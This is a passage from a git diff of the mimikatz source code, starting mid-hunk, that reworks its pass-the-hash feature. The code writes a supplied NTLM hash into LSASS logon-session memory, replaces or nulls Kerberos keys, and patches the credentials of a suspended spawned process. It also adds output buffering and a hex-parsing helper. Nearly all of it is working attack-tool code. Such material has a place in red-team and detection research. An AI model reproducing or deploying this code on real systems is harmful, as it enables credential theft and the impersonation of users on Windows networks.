RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH); + if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA) + (*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH); + RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize; i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize; if(aLocalHashMemory.address = LocalAlloc(LPTR, i)) { if(kull_m_memory_copy(&aLocalHashMemory, &RemoteLocalKerbSession, i)) { - kprintf(L"Data copy Kerberos @ %p (%u hash) :", RemoteLocalKerbSession.address, nbHash); + kprintf(L"data copy @ %p", RemoteLocalKerbSession.address, nbHash); for(i = 0, pthData->isReplaceOk = TRUE; (i < nbHash) && pthData->isReplaceOk; i++) { - kprintf(L" "); offset = i * kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize + kerbHelper[KerbOffsetIndex].offsetHashGeneric; pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset); + kprintf(L"\n \\_ %s ", kuhl_m_kerberos_ticket_etype(pHash->Type)); - if((pHash->Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) || (pHash->Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) + if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96)) + { + aLocalNTLMMemory.address = ntlmHash; + RemoteLocalKerbSession.address = pHash->Checksump; + offset = LM_NTLM_HASH_LENGTH; + resultok = L"OK"; + } + else { - kprintf(L"-"); - pHash->Type = KERB_ETYPE_RC4_HMAC_NT; - pHash->Size = LM_NTLM_HASH_LENGTH; - aLocalNTLMMemory.address = pHash; RemoteLocalKerbSession.address = baseCheck + offset; - if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump))) - kprintf(L">"); - else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); + offset = FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump); + resultok = kuhl_m_kerberos_ticket_etype(KERB_ETYPE_NULL); + + pHash->Type = KERB_ETYPE_NULL; + pHash->Size = 0; + kprintf(L"-> "); } - - aLocalNTLMMemory.address = ntlmHash; - RemoteLocalKerbSession.address = pHash->Checksump; - RtlCopyMemory(aLocalNTLMMemory.address, pthData->NtlmHash, LM_NTLM_HASH_LENGTH); - if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA) - (*pData->lsassLocalHelper->pLsaProtectMemory)(aLocalNTLMMemory.address, LM_NTLM_HASH_LENGTH); - if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, min(pHash->Size, LM_NTLM_HASH_LENGTH))) // ok not fair-play with AES-* and old CRC =) - kprintf(L"%u", i+1); + + if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, offset)) + kprintf(L"%s", resultok); else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); } if(pthData->isReplaceOk && ((PKIWI_GENERIC_PRIMARY_CREDENTIAL) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetCreds))->Password.Buffer) { - kprintf(L" "); + kprintf(L"\n \\_ *Password replace -> "); if(pthData->isReplaceOk = kull_m_memory_copy(&aRemotePasswdMemory, &aLocalPasswdMemory, sizeof(UNICODE_STRING))) - kprintf(L"OK!", aRemotePasswdMemory.address); + kprintf(L"null", aRemotePasswdMemory.address); else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); } } @@ -291,7 +297,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_kerberos_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) { - PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; + PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData; KIWI_KERBEROS_ENUM_DATA data = {kuhl_m_sekurlsa_enum_kerberos_callback_pth, pthData}; if(RtlEqualLuid(pData->LogonId, pthData->LogonId)) { diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c index dfe6aa7..f08e227 100644 --- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c @@ -46,12 +46,16 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY { (*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH); + pPrimaryCreds->isLmOwfPassword = FALSE; RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); + pPrimaryCreds->isNtOwfPassword = TRUE; + RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH); + pPrimaryCreds->isShaOwPassword = FALSE; RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length); RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length); (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); - kprintf(L"Data copy MSV1_0 @ %p : ", origBufferAddress->address); + kprintf(L"data copy @ %p : ", origBufferAddress->address); if(pthDataCred->pthData->isReplaceOk = kull_m_memory_copy(origBufferAddress, &aLocalMemory, pCredentials->Credentials.Length)) kprintf(L"OK !"); else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); @@ -63,7 +67,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) { - PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; + PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData; MSV1_0_PTH_DATA_CRED credData = {pData, pthData}; if(RtlEqualLuid(pData->LogonId, pthData->LogonId)) @@ -74,71 +78,6 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGO else return TRUE; } -NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]) -{ - BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0}; - TOKEN_STATISTICS tokenStats; - MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE}; - PCWCHAR szRun, szNTLM; - DWORD i, j, dwNeededSize; - HANDLE hToken; - PROCESS_INFORMATION processInfos; - - if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL)) - { - if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL)) - { - if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) - { - kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); - if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2)) - { - for(i = 0; i < LM_NTLM_HASH_LENGTH; i++) - { - swscanf_s(&szNTLM[i*2], L"%02x", &j); - ntlm[i] = (BYTE) j; - } - kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); - kprintf(L"Program\t: %s\n", szRun); - if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE)) - { - kprintf( - L" | PID %u\n" - L" | TID %u\n", - processInfos.dwProcessId, processInfos.dwThreadId); - if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) - { - if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) - { - kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); - kprintf(L" \\_ "); - kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); - kprintf(L"\n"); - if(data.isReplaceOk) - { - kprintf(L" \\_ "); - kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data); - kprintf(L"\n"); - } - } else PRINT_ERROR_AUTO(L"GetTokenInformation"); - CloseHandle(hToken); - } else PRINT_ERROR_AUTO(L"OpenProcessToken"); - - if(data.isReplaceOk) - NtResumeProcess(processInfos.hProcess); - else - NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT); - - CloseHandle(processInfos.hThread); - CloseHandle(processInfos.hProcess); - } else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); - } else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); - } else PRINT_ERROR(L"Missing argument : ntlm\n"); - } - } - return STATUS_SUCCESS; -} - VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID pCredentials, IN PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK credCallback, IN PVOID optionalData) { KIWI_MSV1_0_CREDENTIALS credentials; diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h index b348cc8..4c89548 100644 --- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h @@ -10,11 +10,13 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL { LSA_UNICODE_STRING LogonDomainName; - LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING UserName; BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE ShaOwPassword[SHA_DIGEST_LENGTH]; - DWORD unknow_01000100; + BOOLEAN isNtOwfPassword; + BOOLEAN isLmOwfPassword; + BOOLEAN isShaOwPassword; /* buffer */ } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; @@ -34,17 +36,9 @@ typedef struct _RPCE_CREDENTIAL_KEYCREDENTIAL { MARSHALL_KEY key[ANYSIZE_ARRAY]; } RPCE_CREDENTIAL_KEYCREDENTIAL, *PRPCE_CREDENTIAL_KEYCREDENTIAL; -typedef struct _MSV1_0_PTH_DATA { - PLUID LogonId; - PCWCHAR UserName; - PCWCHAR LogonDomain; - LPBYTE NtlmHash; - BOOL isReplaceOk; -} MSV1_0_PTH_DATA, *PMSV1_0_PTH_DATA; - typedef struct _MSV1_0_PTH_DATA_CRED { PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pSecData; - PMSV1_0_PTH_DATA pthData; + PSEKURLSA_PTH_DATA pthData; } MSV1_0_PTH_DATA_CRED, *PMSV1_0_PTH_DATA_CRED; typedef struct _MSV1_0_STD_DATA { @@ -55,7 +49,6 @@ typedef BOOL (CALLBACK * PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK) (IN struct _KIWI_MS KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package; NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[]); -NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]); void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData); BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData); diff --git a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h index f67fad4..239b6ab 100644 --- a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h +++ b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h @@ -21,7 +21,9 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL { BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE ShaOwPassword[SHA_DIGEST_LENGTH]; - DWORD unknow_01000100; + BOOLEAN isNtOwfPassword; + BOOLEAN isLmOwfPassword; + BOOLEAN isShaOwPassword; /* buffer */ } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; diff --git a/mimilib/sekurlsadbg/kwindbg.c b/mimilib/sekurlsadbg/kwindbg.c index b7db7eb..01073e2 100644 --- a/mimilib/sekurlsadbg/kwindbg.c +++ b/mimilib/sekurlsadbg/kwindbg.c @@ -213,13 +213,23 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); - dprintf("\n\t * Username : %wZ" - "\n\t * Domain : %wZ" - , &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); - dprintf("\n\t * LM : "); kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); - dprintf("\n\t * NTLM : "); kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); - dprintf("\n\t * SHA1 : "); kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); + dprintf("\n\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); + if(pPrimaryCreds->isLmOwfPassword) + { + dprintf("\n\t * LM : "); + kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(pPrimaryCreds->isNtOwfPassword) + { + dprintf("\n\t * NTLM : "); + kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(pPrimaryCreds->isShaOwPassword) + { + dprintf("\n\t * SHA1 : "); + kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); + } break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; diff --git a/modules/kull_m_output.c b/modules/kull_m_output.c index a5dad17..eea038b 100644 --- a/modules/kull_m_output.c +++ b/modules/kull_m_output.c @@ -1,13 +1,40 @@ #include "kull_m_output.h" FILE * logfile = NULL; +#ifdef _WINDLL +wchar_t * outputBuffer = NULL; +size_t outputBufferElements = 0, outputBufferElementsPosition = 0; +#endif void kprintf(PCWCHAR format, ...) { +#ifdef _WINDLL + int varBuf; + size_t tempSize; +#endif va_list args; va_start(args, format); - vfwprintf(stdout, format, args); +#ifndef _WINDLL + vwprintf(format, args); fflush(stdout); +#else + if(outputBuffer) + { + varBuf = _vscwprintf(format, args); + if(varBuf > 0) + { + if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character + { + tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool + if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE)) + outputBufferElements = tempSize; + } + varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args); + if(varBuf > 0) + outputBufferElementsPosition += varBuf; + } + } +#endif if(logfile) vfwprintf(logfile, format, args); va_end(args); @@ -32,7 +59,7 @@ BOOL kull_m_output_file(PCWCHAR file) if(file) #pragma warning(push) #pragma warning(disable:4996) - newlog = _wfopen(file, L"a"); + newlog = _wfopen(file, L"a"); // XP does not like _wfopen_s #pragma warning(pop) if(newlog || !file) { diff --git a/modules/kull_m_output.h b/modules/kull_m_output.h index c864782..e8013c3 100644 --- a/modules/kull_m_output.h +++ b/modules/kull_m_output.h @@ -9,6 +9,10 @@ #include <fcntl.h> FILE * logfile; +#ifdef _WINDLL +wchar_t * outputBuffer; +size_t outputBufferElements, outputBufferElementsPosition; +#endif void kprintf(PCWCHAR format, ...); void kprintf_inputline(PCWCHAR format, ...); diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c index 845c041..db6f892 100644 --- a/modules/kull_m_string.c +++ b/modules/kull_m_string.c @@ -68,6 +68,21 @@ wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr) return buffer; } +BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size) +{ + DWORD i, j; + BOOL result = (wcslen(string) == (size * 2)); + if(result) + { + for(i = 0; i < size; i++) + { + swscanf_s(&string[i*2], L"%02x", &j); + hex[i] = (BYTE) j; + } + } + return result; +} + PCWCHAR WPRINTF_TYPES[] = { L"%02x", // WPRINTF_HEX_SHORT diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h index 9a4dfa0..b2957d5 100644 --- a/modules/kull_m_string.h +++ b/modules/kull_m_string.h @@ -45,6 +45,7 @@ BOOL kull_m_string_suspectUnicodeString(IN PUNICODE_STRING pUnicodeString); wchar_t * kull_m_string_qad_ansi_to_unicode(const char * ansi); wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr); +BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size); void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags); void kull_m_string_displayFileTime(IN PFILETIME pFileTime);